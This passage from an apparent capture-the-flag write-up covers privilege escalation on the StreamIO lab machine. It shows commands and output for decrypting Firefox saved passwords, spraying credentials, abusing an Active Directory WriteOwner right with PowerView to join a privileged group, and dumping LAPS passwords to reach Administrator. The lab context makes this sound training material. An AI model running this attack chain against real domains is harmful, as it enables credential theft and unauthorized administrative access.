Directory: C:\Users\nikk37\Desktop

Mode                LastWriteTime         Length Name
----                -----          ----  --
-ar---        8/21/2022   9:37 PM           34 user.txt

*Evil-WinRM* PS C:\Users\nikk37\Documents>
```

Privilege escalation and root

Looking around, we see an important Group called `CORE STAFF`.

```
*Evil-WinRM* PS C:\Users\nikk37\Documents> net groups
```

```
Group Accounts for \\
```

```
-----  
*Cloneable Domain Controllers  
*CORE STAFF  
*DnsUpdateProxy  
*Domain Admins  
*Domain Computers  
*Domain Controllers  
*Domain Guests  
*Domain Users  
*Enterprise Admins  
*Enterprise Key Admins  
*Enterprise Read-only Domain Controllers  
*Group Policy Creator Owners  
*Key Admins  
*Protected Users  
*Read-only Domain Controllers  
*Schema Admins  
The command completed with one or more errors.
```

```
*Evil-WinRM* PS C:\Users\nikk37\Documents> net group "CORE STAFF"
```

```
Group name      CORE STAFF  
Comment
```

```
Members
```

```
-----  
The command completed successfully.
```

However, this group does not have any members.

I usually like to run `gci -force -recurse` from the home directory of the current user. `nikk37` in this case and we get something interesting:

```
Directory: C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles\br53rxeg.default-release
```

Mode	LastWriteTime	Length	Name
d----	2/22/2022	2:40 AM	bookmarkbackups
d----	2/22/2022	2:40 AM	browser-extension-data
d----	2/22/2022	2:41 AM	crashes
d----	2/22/2022	2:42 AM	datareporting
d----	2/22/2022	2:40 AM	minidumps
d----	2/22/2022	2:42 AM	saved-telemetry-pings
d----	2/22/2022	2:40 AM	security_state
d----	2/22/2022	2:42 AM	sessionstore-backups
d----	2/22/2022	2:40 AM	storage
-a---	2/22/2022	2:40 AM	24 addons.json
-a---	2/22/2022	2:42 AM	5189 addonStartup.json.lz4
-a---	2/22/2022	2:42 AM	310 AlternateServices.txt
-a---	2/22/2022	2:41 AM	229376 cert9.db
-a---	2/22/2022	2:40 AM	208 compatibility.ini
-a---	2/22/2022	2:40 AM	939 containers.json
-a---	2/22/2022	2:40 AM	229376 content-prefs.sqlite
-a---	2/22/2022	2:40 AM	98304 cookies.sqlite
-a---	2/22/2022	2:40 AM	1081 extension-preferences.json
-a---	2/22/2022	2:40 AM	43726 extensions.json
-a---	2/22/2022	2:42 AM	5242880 favicons.sqlite
-a---	2/22/2022	2:41 AM	262144 formhistory.sqlite
-a---	2/22/2022	2:40 AM	778 handlers.json
-a---	2/22/2022	2:40 AM	294912 key4.db
-a---	2/22/2022	2:41 AM	1593 logins-backup.json
-a---	2/22/2022	2:41 AM	2081 logins.json
-a---	2/22/2022	2:42 AM	0 parent.lock
-a---	2/22/2022	2:42 AM	98304 permissions.sqlite
-a---	2/22/2022	2:40 AM	506 pkcs11.txt
-a---	2/22/2022	2:42 AM	5242880 places.sqlite
-a---	2/22/2022	2:42 AM	8040 prefs.js
-a---	2/22/2022	2:42 AM	180 search.json.mozlz4
-a---	2/22/2022	2:42 AM	288 sessionCheckpoints.json
-a---	2/22/2022	2:42 AM	1853 sessionstore.jsonlz4
-a---	2/22/2022	2:40 AM	18 shield-preference-experiments.json
-a---	2/22/2022	2:42 AM	611 SiteSecurityServiceState.txt
-a---	2/22/2022	2:42 AM	4096 storage.sqlite
-a---	2/22/2022	2:40 AM	50 times.json
-a---	2/22/2022	2:40 AM	98304 webappsstore.sqlite
-a---	2/22/2022	2:42 AM	141 xulstore.json

Using `download` command of `evil-winrm`, we can download the two files.

The `key4.db` file can be decrypted using `firepwd` (<https://github.com/lclevy/firepwd>):

```
# On key4.db + logins.json
python3 firepwd.py
```


Output:

```
decrypting login/password pairs
https://slack.streamio.htb:b'admin',b'JDg0dd1s@d0p3cr3@t0r'
https://slack.streamio.htb:b'nikk37',b'n1kk1sd0p3t00:')
https://slack.streamio.htb:b'yoshihide',b'paddpadd@12'
https://slack.streamio.htb:b'JDgodd',b'password@12'
```

However, we cannot login using any of these passwords.

Digging deeper into the active directory and groups using `bloodhound` and `sharphound`, we find that `JDgodd` user has the `WriteOwner` privilege on the `CORE STAFF`:

Note: you can upload the `sharphound` tool to the server using `evil-winrm`'s `upload` command.



However, we do not know the password of `JDgodd`, since `password@12` does not work for him. Looking at the `admin`'s password and seeing it is related to `JDgodd` we can try that one and much to our surprise, it works.

```
~/Hacking/Boxes/StreamIO/cme
λ > cme ldap 10.10.11.158 -u users_2.txt -p passwords_2.txt
SMB      10.10.11.158  445   DC          [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB      10.10.11.158  445   DC          [-] streamIO.htb\admin:JDg0dd1s@d0p3cr3@t0r
SMB      10.10.11.158  445   DC          [-] streamIO.htb\admin:n1kk1sd0p3t00:-
SMB      10.10.11.158  445   DC          [-] streamIO.htb\admin:paddpadd@12
SMB      10.10.11.158  445   DC          [-] streamIO.htb\admin:password@12
SMB      10.10.11.158  445   DC          [-] streamIO.htb\nikk37:JDg0dd1s@d0p3cr3@t0r
SMB      10.10.11.158  445   DC          [-] streamIO.htb\nikk37:n1kk1sd0p3t00:-
SMB      10.10.11.158  445   DC          [-] streamIO.htb\nikk37:paddpadd@12
SMB      10.10.11.158  445   DC          [-] streamIO.htb\nikk37:password@12
SMB      10.10.11.158  445   DC          [-] streamIO.htb\yoshihide:JDg0dd1s@d0p3cr3@t0r
SMB      10.10.11.158  445   DC          [-] streamIO.htb\yoshihide:n1kk1sd0p3t00:-
SMB      10.10.11.158  445   DC          [-] streamIO.htb\yoshihide:paddpadd@12
SMB      10.10.11.158  445   DC          [-] streamIO.htb\yoshihide:password@12
LDAP     10.10.11.158  389   DC          [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
```

Googling how to exploit the `WriteOwner` privilege, we can use the following commands which are included in the `PowerView.ps1` script

(<https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1>)

Again, you have to upload this file to the server.

```
# import the module
. ./PowerView.ps1

# Exploit
# Adding JDgodd to the "CORE STAFF" group
$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('streamio\JDgodd', $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Core Staff" -principalidentity "streamio\JDgodd"
Add-DomainGroupMember -identity "Core Staff" -members "streamio\JDgodd" -credential $Cred
```

After doing this, we can use `LAPSDumper` (<https://github.com/n00py/LAPSDumper>) to dump `LAPS` passwords remotely from our vm. We can do this since the `CORE STAFF` are able to read `LAPS` passwords.

Now that we have the `LAPS` password (I haven't posted it here, because it changes every time) we can login using `evil-winrm` and the username `Administrator`.

The `root.txt` is not in the `Desktop` folder, so to find it we can use:

```
# As Administrator
gci -force -recurse 2>$null | select FullName | select-string -Pattern root.txt
# @{FullName=C:\Users\Martin\Desktop\root.txt}
```

Martin has the `root.txt` and that is the box!